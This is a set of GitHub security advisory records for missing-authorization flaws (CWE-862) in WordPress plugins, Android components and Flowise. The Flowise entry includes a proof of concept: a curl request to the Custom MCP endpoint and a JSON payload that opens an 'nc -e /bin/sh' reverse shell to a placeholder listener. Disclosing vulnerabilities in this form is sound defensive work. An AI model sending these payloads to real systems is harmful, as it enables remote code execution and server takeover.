CWE-862

{
  "affected": [],
  "aliases": [
    "CVE-2024-1110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-07T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The Podlove Podcast Publisher plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the init() function in all versions up to, and including, 4.0.11. This makes it possible for unauthenticated attackers to import the plugin\u0027s settings.",
  "id": "GHSA-68qx-6vr4-qq4p",
  "modified": "2024-02-07T12:30:26Z",
  "published": "2024-02-07T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/podlove/podlove-publisher/commit/7873ff520631087e2f10737860cdcd64d53187ba"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3032008%40podlove-podcasting-plugin-for-wordpress\u0026new=3032008%40podlove-podcasting-plugin-for-wordpress\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2c9cf461-572c-4be8-96e6-659acf3208f3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-3312"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-02T17:15:24Z",
    "severity": "MODERATE"
  },
  "details": "The Easy Custom Auto Excerpt plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.4.12. This makes it possible for unauthenticated attackers to obtain excerpts of password-protected posts.",
  "id": "GHSA-68vp-3w87-623r",
  "modified": "2024-05-02T18:30:54Z",
  "published": "2024-05-02T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3312"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3071273%40easy-custom-auto-excerpt%2Ftrunk\u0026old=2242878%40easy-custom-auto-excerpt%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8c1e1fe4-23be-4f66-ae9f-cabb83811b71?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T19:16:27Z",
    "severity": "MODERATE"
  },
  "details": "The WP Go Maps \u2013 Most Popular Map Plugin plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 10.1.01. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to create arbitrary records in plugin database tables (maps, markers, circles, polygons, polylines, rectangles, and point labels) by supplying a WPGMZA-namespaced CRUD-backed class name via the phpClass parameter. The namespace validation check (requiring the \u0027WPGMZA\u0027 prefix) does not prevent exploitation because classes such as WPGMZA\\Map and WPGMZA\\Marker satisfy it while still triggering an INSERT into the corresponding plugin table before the route rejects the request.",
  "id": "GHSA-68w4-qxch-r794",
  "modified": "2026-06-19T21:32:47Z",
  "published": "2026-06-19T21:32:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12238"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wp-google-maps/tags/10.0.10/includes/class.rest-api.php#L1052"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c51c6cfb-9a79-4190-87ff-7eddb866ae56?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3863"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-26T02:15:20Z",
    "severity": "MODERATE"
  },
  "details": "The Post Carousel Slider for Elementor plugin for WordPress is vulnerable to improper authorization due to a missing capability check on the process_wbelps_promo_form() function in all versions up to, and including, 1.6.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger the plugin\u2019s support\u2010form handler to send arbitrary emails to the site\u2019s support address.",
  "id": "GHSA-68xg-x7j2-m7g4",
  "modified": "2025-06-26T21:31:15Z",
  "published": "2025-06-26T21:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3863"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/post-carousel-slider-for-elementor/tags/1.5.0/support-page/class-support-page.php#L28"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3316424%40post-carousel-slider-for-elementor\u0026new=3316424%40post-carousel-slider-for-elementor\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/post-carousel-slider-for-elementor/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b92afdf-51e0-4cf5-9f2b-997b9ff98b23?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-21132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-14T21:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In onCreate of ManagePermissionsActivity.java, there is a possible way to bypass factory reset protections due to a missing permission check. This could lead to local escalation of privilege with physical access to a device that\u0027s been factory reset with no additional execution privileges needed. User interaction is not needed for exploitation.\n\n",
  "id": "GHSA-692c-fcwq-76xf",
  "modified": "2024-04-04T06:55:48Z",
  "published": "2023-08-14T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21132"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/modules/Permission/+/0679e4f35055729be7276536fe45fe8ec18a0453"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2023-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-20451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-08T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "In onCallRedirectionComplete of CallsManager.java, there is a possible permissions bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10 Android-11 Android-12 Android-12L Android-13Android ID: A-235098883",
  "id": "GHSA-692h-3jrr-4265",
  "modified": "2022-11-09T19:02:24Z",
  "published": "2022-11-09T12:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20451"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2022-11-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T16:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in TrackShip TrackShip for WooCommerce.This issue affects TrackShip for WooCommerce: from n/a through 1.7.5.",
  "id": "GHSA-692q-xchh-rj9p",
  "modified": "2026-04-28T21:34:56Z",
  "published": "2024-04-24T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32678"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/trackship-for-woocommerce/wordpress-trackship-for-woocommerce-plugin-1-7-5-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.7-patch.1"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T20:30:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise\u0027s inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.\n\nThis combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.\n\n### PoC\n1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):\n   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker\n\n2. Create a new file named `payload.json` somewhere in your machine, with the following data:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"touch\",\"args\": [\"/tmp/yofitofi\"]}},\"loadMethod\":\"listActions\"}\n```\n\n3. Send the following `curl` request using the `payload.json` file created above with the following command:\n```\ncurl -XPOST -H \"x-request-from: internal\" -H \"Content-Type: application/json\" --data @payload.json \"http://localhost:3000/api/v1/node-load-method/customMCP\"\n```\n\n4. Observe that a new file named `yofitofi` is created under `/tmp` folder.\n\nSimilarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:\n```\n{\"inputs\":{\"mcpServerConfig\":{\"command\": \"nc\",\"args\": [\n\"\u003cLISTENER_IP_ADDRESS\u003e\",\"\u003cLISTENER_PORT\u003e\",\"-e\",\"/bin/sh\"\n]}},\n\"loadMethod\":\"listActions\"}\n```\n\n![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)\n\n### Impact\nRemote code execution\n\n### Mitigation\n- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with \"Admin\" roles will be able to configure new Custom MCPs within the platform.\n- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.\n- Consider running Custom MCPs within a sandboxed environment\n\n### Credit\nThe vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.",
  "id": "GHSA-6933-jpx5-q87q",
  "modified": "2025-09-15T20:30:30Z",
  "published": "2025-09-15T20:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/5201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise has unsandboxed remote code execution via Custom MCP"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-58980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:12Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in recorp Export WP Page to Static HTML/CSS allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects Export WP Page to Static HTML/CSS: from n/a through 4.1.0.",
  "id": "GHSA-693r-x8gf-v48r",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58980"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/export-wp-page-to-static-html/vulnerability/wordpress-export-wp-page-to-static-html-css-plugin-4-1-0-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-20115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In broadcastServiceStateChanged of TelephonyRegistry.java, there is a possible way to learn base station information without location permission due to a missing permission check. This could lead to local information disclosure with User execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12 Android-12LAndroid ID: A-210118427",
  "id": "GHSA-694g-r8xx-3669",
  "modified": "2022-05-17T00:01:25Z",
  "published": "2022-05-11T00:01:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20115"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2022-05-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}